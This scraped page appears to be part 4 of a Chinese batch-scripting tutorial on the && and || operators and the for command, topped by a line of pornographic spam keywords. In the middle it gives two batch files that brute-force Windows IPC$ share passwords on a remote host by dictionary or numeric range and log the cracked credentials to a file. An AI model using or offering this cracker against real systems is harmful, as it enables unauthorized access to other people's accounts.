欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

批處理經(jīng)典入門教程!(從不懂到高手)第4/5頁(yè)

 更新時(shí)間:2007年02月23日 00:00:00   作者:  
寫這篇教程的目的,是讓每一個(gè)看過(guò)這些文字的朋友記住一句話:如果愛可以讓事情變的更簡(jiǎn)單,那么就讓它簡(jiǎn)單吧!看這篇教程的方法


15、&&

切記,這里介紹的幾個(gè)命令都是組合命令,所以他們前后都必須都有其他命令(要不如何組合?)。這個(gè)命令也不例外,它可以把它前后兩個(gè)命令組合起來(lái)當(dāng)一個(gè)命令來(lái)用,與&命令不同之處在于,它在從前往后依次執(zhí)行被它連接的幾個(gè)命令時(shí)會(huì)自動(dòng)判斷是否有某個(gè)命令執(zhí)行出錯(cuò),一旦發(fā)現(xiàn)出錯(cuò)后將不繼續(xù)執(zhí)行后面剩下的命令。這就為我們自動(dòng)化完成一些任務(wù)提供了方便。例十七:

dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:\backup\www

如果遠(yuǎn)程主機(jī)存在user.mdb,則copy到本地e:\backup\www,如果不存在當(dāng)然就不執(zhí)行copy了。這句對(duì)搞網(wǎng)管的朋友是否有點(diǎn)用呢?呵呵。其實(shí)它和下面這句的作用是一樣的:

if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:\backup\www

至于你喜歡用哪個(gè)就隨便了,我沒辦法判斷dir和if兩個(gè)命令哪一個(gè)執(zhí)行效率更高,所以不知道用哪個(gè)更好,呵呵。

你是否還記得“有些命令是不能同時(shí)執(zhí)行的”?你是否相信這句話?當(dāng)然得相信,不信就給你出道題:把C盤和D盤的文件和文件夾列出到a.txt文件中。你將如何來(lái)搞定這道題?有朋友說(shuō),這還不是很easy的問(wèn)題嗎?同時(shí)執(zhí)行兩個(gè)dir,然后把得到的結(jié)果>到a.txt里就ok了嘛,看例十八:

dir c:\ && dir d:\ > a.txt

仔細(xì)研究一下這句執(zhí)行后的結(jié)果,看看是否能達(dá)到題目的要求!錯(cuò)了!這樣執(zhí)行后a.txt里只有D盤的信息!為什么?就因?yàn)檫@里&&命令和>命令不能同時(shí)出現(xiàn)一個(gè)句子里(批處理把一行看成一個(gè)句子)?。〗M合命令&&的優(yōu)先級(jí)沒有管道命令>的優(yōu)先級(jí)高(自己總結(jié)的,不妥的地方請(qǐng)指正)!所以這句在執(zhí)行時(shí)將本分成這兩部分:dir c:\和dir d:\ > a.txt,而并不是如你想的這兩部分:dir c:\ && dir d:\和> a.txt。要使用組合命令&&達(dá)到題目的要求,必須得這么寫:

dir c:\ > a.txt && dir d:\ >> a.txt

這樣,依據(jù)優(yōu)先級(jí)高低,DOS將把這句話分成以下兩部分:dir c:\ > a.txt和dir d:\ >> a.txt。例十八中的幾句的差別比較特殊,值得好好研究體會(huì)一下。

當(dāng)然這里還可以利用&命令(自己想一下道理哦):

dir c:\ > a.txt & dir d:\ >> a.txt

16、||

這個(gè)命令的用法和&&幾乎一樣,但作用剛好和它相反:利用這種方法在執(zhí)行多條命令時(shí),當(dāng)遇到一個(gè)執(zhí)行正確的命令就退出此命令組合,不再繼續(xù)執(zhí)行下面的命令。題目:查看當(dāng)前目錄下是否有以s開頭的exe文件,如果有則退出。例十九:

@echo off
dir s*.exe || exit

其實(shí)這個(gè)例子是有破綻的,你看出來(lái)了嗎?其實(shí)很簡(jiǎn)單,自己試試就知道了嘛:如果存在那個(gè)exe文件,就退出;如果不存在那個(gè)exe文件,也退出!為什么?因?yàn)槿绻淮嬖谀莻€(gè).exe文件,則前一條命令dir s*.exe執(zhí)行肯定是不成功的,所以就繼續(xù)執(zhí)行exit,自然就退出了,呵呵。那么如何解決題目給出的問(wèn)題呢?看例二十:

@echo off
dir s*.exe || echo Didn't exist file s*.exe & pause & exit

這樣執(zhí)行的結(jié)果,就能達(dá)到題目的要求,是否存在s*.exe將出現(xiàn)兩種結(jié)果。這里加暫停的意思,當(dāng)然是讓你能看到echo輸出的內(nèi)容,否則一閃而過(guò)的窗口,echo就白寫了。

給出兩個(gè)更好研究?jī)?yōu)先級(jí)(同時(shí)也是更難理解)的腳本,仔細(xì)研究它們的區(qū)別,以便徹底理解各種命令的優(yōu)先級(jí)順序,對(duì)以后自己利用這些命令寫腳本有很大的好處----不會(huì)出錯(cuò)!OK,請(qǐng)看例二十一和例二十二:
例二十一:

@echo off
dir a.ttt /a & dir a.txt || exit

例二十二:

@echo off
dir a.ttt /a && dir a.txt || exit

警告:患有心腦血管病的朋友請(qǐng)不要研究以上兩例,否則輕者頭大如斗,重者血管爆裂。任何人由于研究這兩個(gè)腳本的區(qū)別而造成的任何事故由自己或其合法監(jiān)護(hù)人負(fù)責(zé),與本人和本論壇無(wú)關(guān)。特此警告!

有關(guān)管道命令和組合命令就大概介紹到這里了,不知道聰明的你是否理解?呵呵,能理解就成天才了,除非你以前就已經(jīng)掌握!千萬(wàn)別小看了這幾個(gè)鬼命令,大棒槌是我的說(shuō),簡(jiǎn)直就不是人學(xué)的東西!但我還是靜下心來(lái)研究了一番,最后得出的結(jié)論如上所述,已經(jīng)一點(diǎn)不剩的交給你了,希望你好好收藏并消化吸收,當(dāng)然有錯(cuò)誤被你發(fā)現(xiàn)了,或者不完整的地方被你看出來(lái)了,請(qǐng)趕緊告訴我一聲!

這幾個(gè)命令真的把我的頭都搞大了。在網(wǎng)上有一篇流傳很廣的批處理教程:“簡(jiǎn)明批處理教程”,雖然說(shuō)的比較全面,但看起來(lái)很不過(guò)癮。在對(duì)for等命令介紹時(shí)就一個(gè)for /? > a.txt & start a.txt完事了(當(dāng)然這一點(diǎn)上我不能說(shuō)人家什么,畢竟我連for /?都沒給出),而對(duì)上述管道命令和組合命令、以及這篇教程以后將講到的用批處理好啊作注冊(cè)表等方面根本沒有介紹。我之所以花整整一章來(lái)講管道命令和組合命令,是因?yàn)樗麄儾攀桥幚淼木A和靈魂,能否正確利用好這幾個(gè)命令,是能否掌握批處理的前提條件。如for、set等DOS命令的問(wèn)題,可以從DOS的角度出發(fā)專門有針對(duì)性的學(xué)習(xí),但有關(guān)這幾個(gè)命令的問(wèn)題,卻是不容易精通掌握的----他們之間的關(guān)系太復(fù)雜了!
將下列代碼存為bat文件
1、如果用字典破解:pass.bat 字典文件路徑及名稱 主機(jī) 用戶名
2、如果用數(shù)字破解:pass.bat 起始數(shù) 步長(zhǎng) 結(jié)束數(shù) 主機(jī) 用戶名
密碼破解出來(lái)之后,存放于c:\pass.txt文件里面。
將下列代碼存為pass.bat文件
復(fù)制代碼 代碼如下:

@echo off
echo ------------------------------------------------------------------- >>c:\pass.txt
echo ------------------------------------------------------------------- >>c:\pass.txt
date /t >>c:\pass.txt
time /t >>c:\pass.txt
echo 破解結(jié)果: >>c:\pass.txt
if "%6"=="1" goto 大棒槌是我的說(shuō)2
:大棒槌是我的說(shuō)1
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
goto quit
:大棒槌是我的說(shuō)2
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
:quit
將下列代碼存為test.bat
net use \\%1\ipc$ %2 /user:"%3"
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%表示取前一命令執(zhí)行返回結(jié)果,net use成功返回0,失敗返回2
:answer0
echo 遠(yuǎn)程主機(jī):"%1" >>c:\pass.txt
echo 用 戶:"%3" >>c:\pass.txt
echo 密 碼:%2 >>c:\pass.txt
net use \\%1\ipc$ /delet
exit
:answer2

For
對(duì)一組文件中的每個(gè)文件運(yùn)行指定的命令。

可以在批處理程序中或直接從命令提示符使用 for 命令。

要在批處理程序中使用 for 命令,請(qǐng)使用以下語(yǔ)法:

for %%variable in (set) docommand [command-parameters]

要在命令提示符下使用 for,請(qǐng)使用以下語(yǔ)法:

for %variable in (set) do command [command-parameters]

參數(shù)

%%variable 或 %variable

代表可替換的參數(shù)。for 命令使用在 set 中指定的每個(gè)文本字符串替換 %%variable(或 %variable),直到此命令(在command-parameters 中指定)處理所有的文件為止。使用 %% variable 在批處理程序中執(zhí)行 for 命令。使用 %
variable 通過(guò)命令提示符執(zhí)行 for 命令。變量名區(qū)分大小寫。

(set)

指定要用指定的命令處理的一個(gè)或多個(gè)文件或文本字符串。需要括號(hào)。

command

指定要在指定的 set 所包含的每個(gè)文件上執(zhí)行的命令。

command-parameters

指定要用于指定命令(如果指定的命令要使用任何參數(shù)或開關(guān))的任何參數(shù)或開關(guān)。

如果啟用了命令擴(kuò)展(Windows 2000 中的默認(rèn)設(shè)置),將支持 for 命令的其他形式。
For 命令的其他形式
如果啟用了命令擴(kuò)展,將支持如下 for 命令的其他格式:

只限于目錄

for /D [%% | %]variable in (set) docommand [command-parameters]

如果 set 包含通配符(* 和 ?),則指定與目錄名匹配,而不是文件名。

遞歸

for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]

進(jìn)入根目錄樹[drive:]path,在樹的每個(gè)目錄中執(zhí)行 for 語(yǔ)句。如果在 /R 后沒有指定目錄,則假定為當(dāng)前目錄。如果
set 只是一個(gè)句號(hào) (.) 字符,則只列舉目錄樹。

迭代

for /L [%% | %]variable in (start,step,end) do command [command-parameters]

集合是一系列按步長(zhǎng)量劃分的、從頭到尾的數(shù)字。這樣,(1,1,5) 將生成序列 1 2 3 4 5,而 (5,-1,1) 將生成序列 (5
4 3 2 1)。
文件解析

for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]

for /F ["options"] [%% | %]variable in ("literal string") do command[command-parameters]

for /F ["options"] [%% | %]variable in ('command') do command [command-parameters]

或者,如果出現(xiàn) usebackq 選項(xiàng):

for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]

for /F ["options"] [%% | %]variable in ('literal string') do command [command-parameters]

for /F ["options"] [%% | %]variable in (`command`) docommand [command-parameters]

filenameset 參數(shù)指定一個(gè)或多個(gè)文件名稱。在繼續(xù)到 filenameset 中的下一個(gè)文件之前,每個(gè)文件都會(huì)被打開、讀取和處理。

過(guò)程由讀取文件、分成獨(dú)立的文本行及然后將每行解析成零個(gè)或更多個(gè)令牌組成。然后使用設(shè)置為找到的一個(gè)或多個(gè)令牌字符串的變量值(或多個(gè)值)集合調(diào)用 for 循環(huán)體。默認(rèn)情況下,/F 傳遞每個(gè)文件每一行的第一個(gè)空白分隔符號(hào)。

跳過(guò)空行。通過(guò)指定可選的“options”參數(shù)可以覆蓋默認(rèn)的解析行為。這是一個(gè)引用字符串,它包含一個(gè)或多個(gè)關(guān)鍵字
以指定不同的解析選項(xiàng)。關(guān)鍵字是:

關(guān)鍵字 說(shuō)明
eol=c 指定行尾注釋字符(只一個(gè)字符)
skip=n 指定在文件的開頭跳過(guò)的行數(shù)。
delims=xxx 指定定界符集合。這將替換空格和制表符的默認(rèn)分隔符集。
tokens=x,y,m-n 指定將令牌從每行傳遞到每個(gè)反復(fù)的正文。這將導(dǎo)致分配其他變量名。m-n 格式是一個(gè)范圍,指定從mth 到 nth 的令牌。如果在令牌 = 字符串中最后一個(gè)字符是星號(hào),則將分配附加的變量,并在解析最后一個(gè)令牌后在行
上接收剩余的文本。
usebackq 指定將右引號(hào)字符串作為命令執(zhí)行,單引號(hào)字符串是文字字符串命令,您可以使用雙引號(hào)包括 filenameset 中的文件名。

變量替換

相關(guān)文章

最新評(píng)論